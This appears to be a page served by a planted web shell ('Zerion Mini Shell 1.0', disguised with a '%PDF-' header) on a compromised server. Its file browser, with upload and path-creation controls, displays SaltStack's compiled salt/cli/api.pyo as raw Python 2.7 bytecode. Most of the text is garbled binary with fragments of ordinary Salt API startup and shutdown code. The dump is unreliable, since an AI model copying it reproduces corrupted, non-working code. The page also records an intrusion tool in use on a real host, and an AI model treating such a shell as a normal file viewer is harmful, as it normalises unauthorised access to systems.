%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/cli/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/cli/api.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	j
jZddlm
Z
mZmZeje�Zdejfd��YZdS(uA
    salt.cli.api
    ~~~~~~~~~~~~~

    Salt's api cli parser.

i(tabsolute_importtprint_functiontunicode_literalsN(t
check_usertverify_log_filest
verify_logtSaltAPIcB@s8eZdZd�Zd�Zddd�Zd�ZRS(uD
    The cli parser object used to fire up the salt api system.
    cC@stt|�j�yc|jdru|jd}|dk	rutjjjd��t	|g|jd�WdQXqunWn0t
k
r�}tjd�|j
|j�nX|j�t|j�tjd�tjjj|j�|_|j�|j�dS(u�
        Run the preparation sequence required to start a salt-api daemon.

        If sub-classed, don't **ever** forget to run:

            super(YourSubClass, self).prepare()
        u
verify_envulog_fileiuuserNu"Failed to prepare salt environmentuSetting up the Salt API(tsuperRtpreparetconfigtNonetsalttutilstfilest	set_umaskRtOSErrortlogt	exceptiontshutdownterrnotsetup_logfile_loggerRtinfotclienttnetapitNetapiClienttapitdaemonize_if_requiredtset_pidfile(tselftlogfileterr((s0/usr/lib/python2.7/site-packages/salt/cli/api.pyRs 

'




cC@sGtt|�j�t|jd�rCtjd�|jj�ndS(u�
        Start the actual master.

        If sub-classed, don't **ever** forget to run:

            super(YourSubClass, self).start()

        NOTE: Run any required code before calling `super()`.
        uuseruThe salt-api is starting upN(	RRtstartRR	RRRtrun(R((s0/usr/lib/python2.7/site-packages/salt/cli/api.pyR8s

icC@sUtjd�d}|dk	r,||}n|j�}tt|�j||�dS(uM
        If sub-classed, run any shutdown operations on this method.
        uThe salt-api is shutting down..uThe salt-api is shutdown. N(RRR
tstripRRR(Rtexitcodetexitmsgtmsg((s0/usr/lib/python2.7/site-packages/salt/cli/api.pyRGs

cC@sP|jjj�|jjj|�|jjj�tt|�j||�dS(N(Rtprocess_managertstop_restartingtsend_signal_to_processest
kill_childrenRRt_handle_signals(Rtsignumtsigframe((s0/usr/lib/python2.7/site-packages/salt/cli/api.pyR)SsN(t__name__t
__module__t__doc__RRR
RR)(((s0/usr/lib/python2.7/site-packages/salt/cli/api.pyRs
		(R.t
__future__RRRtloggingtsalt.client.netapiRtsalt.utils.filestsalt.utils.parsersRtparserstsalt.utils.verifyRRRt	getLoggerR,Rt
SaltAPIParserR(((s0/usr/lib/python2.7/site-packages/salt/cli/api.pyt<module>s

Zerion Mini Shell 1.0